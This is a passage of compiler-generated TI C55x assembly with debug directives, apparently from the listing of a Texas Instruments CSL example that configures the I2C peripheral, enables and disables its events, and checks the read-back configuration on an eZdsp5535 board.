"../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 340,column 18,is_stmt MOV #65535, AR2 ; |340| MOV *SP(#4), AR1 ; |340| CMPU AR1 >= AR2, TC1 ; |340| BCC $C$L19,TC1 ; |340| ; branchcc occurs ; |340| $C$L18: $C$DW$L$_CSL_i2cIntcTest$34$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 340,column 48,is_stmt ADD #1, *SP(#4) ; |340| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 340,column 18,is_stmt MOV *SP(#4), AR1 ; |340| CMPU AR1 < AR2, TC1 ; |340| BCC $C$L18,TC1 ; |340| ; branchcc occurs ; |340| $C$DW$L$_CSL_i2cIntcTest$34$E: $C$L19: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 341,column 6,is_stmt MOV #0, *SP(#4) ; |341| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 341,column 18,is_stmt MOV *SP(#4), AR1 ; |341| CMPU AR1 >= AR2, TC1 ; |341| BCC $C$L21,TC1 ; |341| ; branchcc occurs ; |341| $C$L20: $C$DW$L$_CSL_i2cIntcTest$36$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 341,column 48,is_stmt ADD #1, *SP(#4) ; |341| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 341,column 18,is_stmt MOV *SP(#4), AR1 ; |341| CMPU AR1 < AR2, TC1 ; |341| BCC $C$L20,TC1 ; |341| ; branchcc occurs ; |341| $C$DW$L$_CSL_i2cIntcTest$36$E: $C$L21: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 344,column 2,is_stmt MOV #47, *(#_i2cConfig) ; |344| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 345,column 2,is_stmt MOV #0, *(#(_i2cConfig+1)) ; |345| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 346,column 2,is_stmt MOV #620, *(#(_i2cConfig+2)) ; |346| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 347,column 2,is_stmt MOV #620, *(#(_i2cConfig+3)) ; |347| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 348,column 2,is_stmt MOV #2, *(#(_i2cConfig+4)) ; |348| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 349,column 2,is_stmt MOV #80, *(#(_i2cConfig+5)) ; |349| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 350,column 2,is_stmt MOV #3616, *(#(_i2cConfig+6)) ; |350| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 351,column 2,is_stmt MOV #0, *(#(_i2cConfig+7)) ; |351| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 352,column 2,is_stmt MOV #7, *(#(_i2cConfig+8)) ; |352| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 354,column 2,is_stmt AMOV #_i2cConfig, XAR0 ; |354| $C$DW$81 .dwtag DW_TAG_TI_branch .dwattr $C$DW$81, DW_AT_low_pc(0x00) .dwattr $C$DW$81, DW_AT_name("_I2C_config") .dwattr $C$DW$81, DW_AT_TI_call CALL #_I2C_config ; |354| ; call occurs [#_I2C_config] ; |354| MOV T0, *SP(#2) ; |354| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 355,column 2,is_stmt MOV T0, AR1 BCC $C$L22,AR1 == #0 ; |355| ; branchcc occurs ; |355| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 357,column 3,is_stmt AMOV #$C$FSL6, XAR3 ; |357| MOV XAR3, dbl(*SP(#0)) $C$DW$82 .dwtag DW_TAG_TI_branch .dwattr $C$DW$82, DW_AT_low_pc(0x00) .dwattr $C$DW$82, DW_AT_name("_printf") .dwattr $C$DW$82, DW_AT_TI_call CALL #_printf ; |357| ; call occurs [#_printf] ; |357| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 358,column 3,is_stmt MOV *SP(#3), T0 ; |358| B $C$L51 ; |358| ; branch occurs ; |358| $C$L22: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 362,column 2,is_stmt AMOV #_i2cGetConfig, XAR0 ; |362| $C$DW$83 .dwtag DW_TAG_TI_branch .dwattr $C$DW$83, DW_AT_low_pc(0x00) .dwattr $C$DW$83, DW_AT_name("_I2C_getConfig") .dwattr $C$DW$83, DW_AT_TI_call CALL #_I2C_getConfig ; |362| ; call occurs [#_I2C_getConfig] ; |362| MOV T0, *SP(#2) ; |362| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 363,column 2,is_stmt MOV T0, AR1 BCC $C$L23,AR1 == #0 ; |363| ; branchcc occurs ; |363| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 365,column 6,is_stmt AMOV #$C$FSL7, XAR3 ; |365| MOV XAR3, dbl(*SP(#0)) $C$DW$84 .dwtag DW_TAG_TI_branch .dwattr $C$DW$84, DW_AT_low_pc(0x00) .dwattr $C$DW$84, DW_AT_name("_printf") .dwattr $C$DW$84, DW_AT_TI_call CALL #_printf ; |365| ; call occurs [#_printf] ; |365| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 366,column 3,is_stmt MOV *SP(#3), T0 ; |366| B $C$L51 ; |366| ; branch occurs ; |366| $C$L23: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 370,column 2,is_stmt MOV *(#_i2cGetConfig), AR1 ; |370| MOV *(#_i2cConfig), AR2 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+1)), AR1 ; |370| MOV *(#(_i2cConfig+1)), AR2 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+2)), AR1 ; |370| MOV *(#(_i2cConfig+2)), AR2 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+3)), AR1 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+4)), AR1 ; |370| MOV *(#(_i2cConfig+4)), AR2 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+5)), AR1 ; |370| MOV *(#(_i2cConfig+5)), AR2 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+6)), AR1 ; |370| MOV *(#(_i2cConfig+6)), AR2 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+7)), AR1 ; |370| MOV *(#(_i2cConfig+7)), AR2 ; |370| CMPU AR2 != AR1, TC1 ; |370| BCC $C$L24,TC1 ; |370| ; branchcc occurs ; |370| MOV *(#(_i2cGetConfig+8)), AR1 ; |370| MOV *(#(_i2cConfig+8)), AR2 ; |370| CMPU AR2 == AR1, TC1 ; |370| BCC $C$L25,TC1 ; |370| ; branchcc occurs ; |370| $C$L24: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 380,column 6,is_stmt AMOV #$C$FSL8, XAR3 ; |380| MOV XAR3, dbl(*SP(#0)) $C$DW$85 .dwtag DW_TAG_TI_branch .dwattr $C$DW$85, DW_AT_low_pc(0x00) .dwattr $C$DW$85, DW_AT_name("_printf") .dwattr $C$DW$85, DW_AT_TI_call CALL #_printf ; |380| ; call occurs [#_printf] ; |380| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 381,column 3,is_stmt MOV *SP(#3), T0 ; |381| B $C$L51 ; |381| ; branch occurs ; |381| $C$L25: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 384,column 2,is_stmt MOV #0, *(#_i2cErrInTx) ; |384| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 385,column 2,is_stmt MOV #0, *(#_i2cTxCount) ; |385| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 386,column 2,is_stmt MOV *(#(_i2cConfig+4)), AR1 ; |386| MOV AR1, *(#_dataLength) ; |386| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 389,column 2,is_stmt $C$DW$86 .dwtag DW_TAG_TI_branch .dwattr $C$DW$86, DW_AT_low_pc(0x00) .dwattr $C$DW$86, DW_AT_name("_I2C_eventEnable") .dwattr $C$DW$86, DW_AT_TI_call CALL #_I2C_eventEnable ; |389| || MOV #1, T0 ; call occurs [#_I2C_eventEnable] ; |389| MOV T0, *SP(#2) ; |389| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 390,column 2,is_stmt MOV T0, AR1 BCC $C$L26,AR1 == #0 ; |390| ; branchcc occurs ; |390| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 392,column 3,is_stmt AMOV #$C$FSL9, XAR3 ; |392| MOV XAR3, dbl(*SP(#0)) $C$DW$87 .dwtag DW_TAG_TI_branch .dwattr $C$DW$87, DW_AT_low_pc(0x00) .dwattr $C$DW$87, DW_AT_name("_printf") .dwattr $C$DW$87, DW_AT_TI_call CALL #_printf ; |392| ; call occurs [#_printf] ; |392| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 393,column 3,is_stmt MOV *SP(#3), T0 ; |393| B $C$L51 ; |393| ; branch occurs ; |393| $C$L26: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 397,column 2,is_stmt $C$DW$88 .dwtag DW_TAG_TI_branch .dwattr $C$DW$88, DW_AT_low_pc(0x00) .dwattr $C$DW$88, DW_AT_name("_I2C_eventEnable") .dwattr $C$DW$88, DW_AT_TI_call CALL #_I2C_eventEnable ; |397| || MOV #4, T0 ; call occurs [#_I2C_eventEnable] ; |397| MOV T0, *SP(#2) ; |397| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 398,column 2,is_stmt MOV T0, AR1 BCC $C$L27,AR1 == #0 ; |398| ; branchcc occurs ; |398| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 400,column 3,is_stmt AMOV #$C$FSL9, XAR3 ; |400| MOV XAR3, dbl(*SP(#0)) $C$DW$89 .dwtag DW_TAG_TI_branch .dwattr $C$DW$89, DW_AT_low_pc(0x00) .dwattr $C$DW$89, DW_AT_name("_printf") .dwattr $C$DW$89, DW_AT_TI_call CALL #_printf ; |400| ; call occurs [#_printf] ; |400| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 401,column 3,is_stmt MOV *SP(#3), T0 ; |401| B $C$L51 ; |401| ; branch occurs ; |401| $C$L27: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 405,column 2,is_stmt MOV *port(#6692), AR1 ; |405| BCLR @#13, AR1 ; |405| BSET @#13, AR1 ; |405| MOV AR1, *port(#6692) ; |405| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 408,column 8,is_stmt MOV *(#_dataLength), AR1 ; |408| BCC $C$L30,AR1 == #0 ; |408| ; branchcc occurs ; |408| $C$L28: $C$DW$L$_CSL_i2cIntcTest$56$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 410,column 3,is_stmt MOV *(#_i2cErrInTx), AR1 ; |410| BCC $C$L29,AR1 == #0 ; |410| ; branchcc occurs ; |410| $C$DW$L$_CSL_i2cIntcTest$56$E: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 412,column 4,is_stmt AMOV #$C$FSL10, XAR3 ; |412| MOV XAR3, dbl(*SP(#0)) $C$DW$90 .dwtag DW_TAG_TI_branch .dwattr $C$DW$90, DW_AT_low_pc(0x00) .dwattr $C$DW$90, DW_AT_name("_printf") .dwattr $C$DW$90, DW_AT_TI_call CALL #_printf ; |412| ; call occurs [#_printf] ; |412| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 413,column 4,is_stmt MOV *SP(#3), T0 ; |413| B $C$L51 ; |413| ; branch occurs ; |413| $C$L29: $C$DW$L$_CSL_i2cIntcTest$58$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 408,column 8,is_stmt MOV *(#_dataLength), AR1 ; |408| BCC $C$L28,AR1 != #0 ; |408| ; branchcc occurs ; |408| $C$DW$L$_CSL_i2cIntcTest$58$E: $C$L30: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 418,column 2,is_stmt $C$DW$91 .dwtag DW_TAG_TI_branch .dwattr $C$DW$91, DW_AT_low_pc(0x00) .dwattr $C$DW$91, DW_AT_name("_I2C_eventDisable") .dwattr $C$DW$91, DW_AT_TI_call CALL #_I2C_eventDisable ; |418| || MOV #1, T0 ; call occurs [#_I2C_eventDisable] ; |418| MOV T0, *SP(#2) ; |418| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 419,column 2,is_stmt MOV T0, AR1 BCC $C$L31,AR1 == #0 ; |419| ; branchcc occurs ; |419| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 421,column 3,is_stmt AMOV #$C$FSL11, XAR3 ; |421| MOV XAR3, dbl(*SP(#0)) $C$DW$92 .dwtag DW_TAG_TI_branch .dwattr $C$DW$92, DW_AT_low_pc(0x00) .dwattr $C$DW$92, DW_AT_name("_printf") .dwattr $C$DW$92, DW_AT_TI_call CALL #_printf ; |421| ; call occurs [#_printf] ; |421| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 422,column 3,is_stmt MOV *SP(#3), T0 ; |422| B $C$L51 ; |422| ; branch occurs ; |422| $C$L31: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 426,column 2,is_stmt $C$DW$93 .dwtag DW_TAG_TI_branch .dwattr $C$DW$93, DW_AT_low_pc(0x00) .dwattr $C$DW$93, DW_AT_name("_I2C_eventDisable") .dwattr $C$DW$93, DW_AT_TI_call CALL #_I2C_eventDisable ; |426| || MOV #4, T0 ; call occurs [#_I2C_eventDisable] ; |426| MOV T0, *SP(#2) ; |426| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 427,column 2,is_stmt MOV T0, AR1 BCC $C$L32,AR1 == #0 ; |427| ; branchcc occurs ; |427| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 429,column 3,is_stmt AMOV #$C$FSL11, XAR3 ; |429| MOV XAR3, dbl(*SP(#0)) $C$DW$94 .dwtag DW_TAG_TI_branch .dwattr $C$DW$94, DW_AT_low_pc(0x00) .dwattr $C$DW$94, DW_AT_name("_printf") .dwattr $C$DW$94, DW_AT_TI_call CALL #_printf ; |429| ; call occurs [#_printf] ; |429| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 430,column 3,is_stmt MOV *SP(#3), T0 ; |430| B $C$L51 ; |430| ; branch occurs ; |430| $C$L32: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 434,column 6,is_stmt MOV #0, *SP(#4) ; |434| NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 434,column 18,is_stmt MOV #65535, AR2 ; |434| MOV *SP(#4), AR1 ; |434| CMPU AR1 >= AR2, TC1 ; |434| BCC $C$L34,TC1 ; |434| ; branchcc occurs ; |434| $C$L33: $C$DW$L$_CSL_i2cIntcTest$64$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 434,column 48,is_stmt ADD #1, *SP(#4) ; |434| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 434,column 18,is_stmt MOV *SP(#4), AR1 ; |434| CMPU AR1 < AR2, TC1 ; |434| BCC $C$L33,TC1 ; |434| ; branchcc occurs ; |434| $C$DW$L$_CSL_i2cIntcTest$64$E: $C$L34: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 435,column 6,is_stmt MOV #0, *SP(#4) ; |435| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 435,column 18,is_stmt MOV *SP(#4), AR1 ; |435| CMPU AR1 >= AR2, TC1 ; |435| BCC $C$L36,TC1 ; |435| ; branchcc occurs ; |435| $C$L35: $C$DW$L$_CSL_i2cIntcTest$66$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 435,column 48,is_stmt ADD #1, *SP(#4) ; |435| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 435,column 18,is_stmt MOV *SP(#4), AR1 ; |435| CMPU AR1 < AR2, TC1 ; |435| BCC $C$L35,TC1 ; |435| ; branchcc occurs ; |435| $C$DW$L$_CSL_i2cIntcTest$66$E: $C$L36: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 438,column 2,is_stmt MOV #47, *(#_i2cConfig) ; |438| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 439,column 2,is_stmt MOV #0, *(#(_i2cConfig+1)) ; |439| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 440,column 2,is_stmt MOV #620, *(#(_i2cConfig+2)) ; |440| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 441,column 2,is_stmt MOV #620, *(#(_i2cConfig+3)) ; |441| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 442,column 2,is_stmt MOV #64, *(#(_i2cConfig+4)) ; |442| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 443,column 2,is_stmt MOV #80, *(#(_i2cConfig+5)) ; |443| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 444,column 2,is_stmt MOV #3104, *(#(_i2cConfig+6)) ; |444| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 445,column 2,is_stmt MOV #0, *(#(_i2cConfig+7)) ; |445| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 446,column 2,is_stmt MOV #7, *(#(_i2cConfig+8)) ; |446| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 448,column 2,is_stmt AMOV #_i2cConfig, XAR0 ; |448| $C$DW$95 .dwtag DW_TAG_TI_branch .dwattr $C$DW$95, DW_AT_low_pc(0x00) .dwattr $C$DW$95, DW_AT_name("_I2C_config") .dwattr $C$DW$95, DW_AT_TI_call CALL #_I2C_config ; |448| ; call occurs [#_I2C_config] ; |448| MOV T0, *SP(#2) ; |448| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 449,column 2,is_stmt MOV T0, AR1 BCC $C$L37,AR1 == #0 ; |449| ; branchcc occurs ; |449| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 451,column 3,is_stmt AMOV #$C$FSL6, XAR3 ; |451| MOV XAR3, dbl(*SP(#0)) $C$DW$96 .dwtag DW_TAG_TI_branch .dwattr $C$DW$96, DW_AT_low_pc(0x00) .dwattr $C$DW$96, DW_AT_name("_printf") .dwattr $C$DW$96, DW_AT_TI_call CALL #_printf ; |451| ; call occurs [#_printf] ; |451| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 452,column 3,is_stmt MOV *SP(#3), T0 ; |452| B $C$L51 ; |452| ; branch occurs ; |452| $C$L37: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 456,column 2,is_stmt AMOV #_i2cGetConfig, XAR0 ; |456| $C$DW$97 .dwtag DW_TAG_TI_branch .dwattr $C$DW$97, DW_AT_low_pc(0x00) .dwattr $C$DW$97, DW_AT_name("_I2C_getConfig") .dwattr $C$DW$97, DW_AT_TI_call CALL #_I2C_getConfig ; |456| ; call occurs [#_I2C_getConfig] ; |456| MOV T0, *SP(#2) ; |456| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 457,column 2,is_stmt MOV T0, AR1 BCC $C$L38,AR1 == #0 ; |457| ; branchcc occurs ; |457| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 459,column 6,is_stmt AMOV #$C$FSL7, XAR3 ; |459| MOV XAR3, dbl(*SP(#0)) $C$DW$98 .dwtag DW_TAG_TI_branch .dwattr $C$DW$98, DW_AT_low_pc(0x00) .dwattr $C$DW$98, DW_AT_name("_printf") .dwattr $C$DW$98, DW_AT_TI_call CALL #_printf ; |459| ; call occurs [#_printf] ; |459| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 460,column 3,is_stmt MOV *SP(#3), T0 ; |460| B $C$L51 ; |460| ; branch occurs ; |460| $C$L38: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 464,column 2,is_stmt MOV *(#_i2cGetConfig), AR1 ; |464| MOV *(#_i2cConfig), AR2 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+1)), AR1 ; |464| MOV *(#(_i2cConfig+1)), AR2 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+2)), AR1 ; |464| MOV *(#(_i2cConfig+2)), AR2 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+3)), AR1 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+4)), AR1 ; |464| MOV *(#(_i2cConfig+4)), AR2 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+5)), AR1 